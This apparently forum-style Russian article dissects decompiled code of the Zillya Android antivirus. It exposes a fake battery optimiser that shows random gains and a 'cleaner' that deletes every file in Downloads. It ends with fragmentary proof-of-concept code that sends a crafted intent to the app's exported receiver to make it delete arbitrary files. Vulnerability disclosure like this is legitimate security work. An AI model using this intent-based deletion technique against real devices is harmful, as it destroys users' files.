(СТАТЬЯ) Antivirus 'Zillya' 'Сертифицированного для использования государственными органами' + 0Day Vuln

    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
    <uses-permission android:name="android.permission.POST_NOTIFICATIONS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.USE_FINGERPRINT"/>
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_LOGS"/>
    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
    <uses-permission android:name="com.android.vending.BILLING"/>
    <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>

BatteryStartFragment при нажатии "Оптимизировать":

BatteryStartFragment.java
private void lambda$onViewCreated$0(View view) {
    Intent intent = new Intent("android.intent.action.POWER_USAGE_SUMMARY");
    if (getContext().getPackageManager().resolveActivity(intent, 0) != null) {
        startActivity(intent);
    }
    // больше ничего не происходит
}

Никакой оптимизации нет. Приложение просто открывает штатный экран батареи Android и всё. Когда пользователь возвращается показывается результат:

BatteryResultFragment.java
// PlaybackStateCompat.ACTION_SET_CAPTIONING_ENABLED = 8192L
long jRandom = this.ram / 8192L;

if (jRandom > 100) {   
    jRandom = (long) ((Math.random() * 20.0d) + 80.0d); // ← РАНДОМ 80-100
}

layout.minutes.setText(String.format("+%d %s", jRandom, "минут"));

BatteryProgressFragment.onViewCreated() при этом абсолютно пустой:
java@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
    super.onViewCreated(view, savedInstanceState);
  
}

javaFile downloads = Environment.getExternalStoragePublicDirectory(
    Environment.DIRECTORY_DOWNLOADS);
File[] files = downloads.listFiles();

if (files != null) {
    for (File file : files) {
        arrayList.add(new CacheEntityItem(
            file.getName(),
            null,
            FileUtils.getPathSize(file),
            file,
            null,   
            false   
        ));
    }
}

При нажатии "Очистить" вызывается

cleanCache()

FileUtils.deleteRecursive():
javapublic static void deleteRecursive(File fileOrDirectory, String extension) {
    if (fileOrDirectory.isDirectory()) {
        for (File child : fileOrDirectory.listFiles()) {
            deleteRecursive(child, extension);
        }
    }
    if (extension == null) {
        fileOrDirectory.delete();
    }
}

javafor (ApplicationInfo app : pm.getInstalledApplications(1152)) {
    File cacheDir = new File(
        Environment.getExternalStorageDirectory(),
        "/Android/data/" + app.packageName + "/cache/"
    );
}

    private static final String TAG            = "ZillyaPoC";
    private static final String ZILLYA_PKG     = "com.zillya.scanner";
    private static final String RECEIVER_CLASS =
            "com.zillya.security.fragments.antivirus.service.AntivirusNotificationReceiver";
    private static final String ACTION_DELETE  = "ANTIVIRUS_DELETE";
    private static final String EXTRA_FILE     = "VIRUS_FILE";

  
    private Uri    mediaStoreUri; 
    private String realFilePath;   //sdcard/Download/poc_test.txt

Intent intent = new Intent();
intent.setComponent(new ComponentName(ZILLYA_PKG, RECEIVER_CLASS));
intent.setAction(ACTION_DELETE);
intent.putExtra(EXTRA_FILE, ZILLYA_PREFS);

<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"